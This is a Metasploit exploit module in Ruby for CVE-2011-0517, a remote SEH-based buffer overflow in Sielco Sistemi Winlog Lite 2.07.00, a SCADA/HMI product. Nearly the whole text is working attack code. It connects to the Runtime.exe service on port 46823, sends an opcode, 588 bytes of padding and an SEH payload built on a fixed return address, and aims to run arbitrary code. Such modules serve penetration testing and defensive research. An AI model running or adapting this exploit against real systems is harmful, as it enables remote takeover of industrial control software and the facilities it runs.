Sielco Sistemi Winlog – Remote Buffer Overflow (Metasploit)
## # $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Sielco Sistemi Winlog Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.00. When sending a specially formatted packet to the Runtime.exe service, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Luigi Auriemma', 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13000 $', 'References' => [ [ 'CVE', '2011-0517' ], [ 'OSVDB', '70418'], [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 450, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 13 2011')) register_options([Opt::RPORT(46823)], self.class) end def exploit connect data = [0x02].pack('C') # opcode data << [0x0101].pack('n') data << rand_text_alpha_upper(588) data << generate_seh_payload(target.ret) print_status("Trying target #{target.name}...") sock.put(data) handler disconnect end end |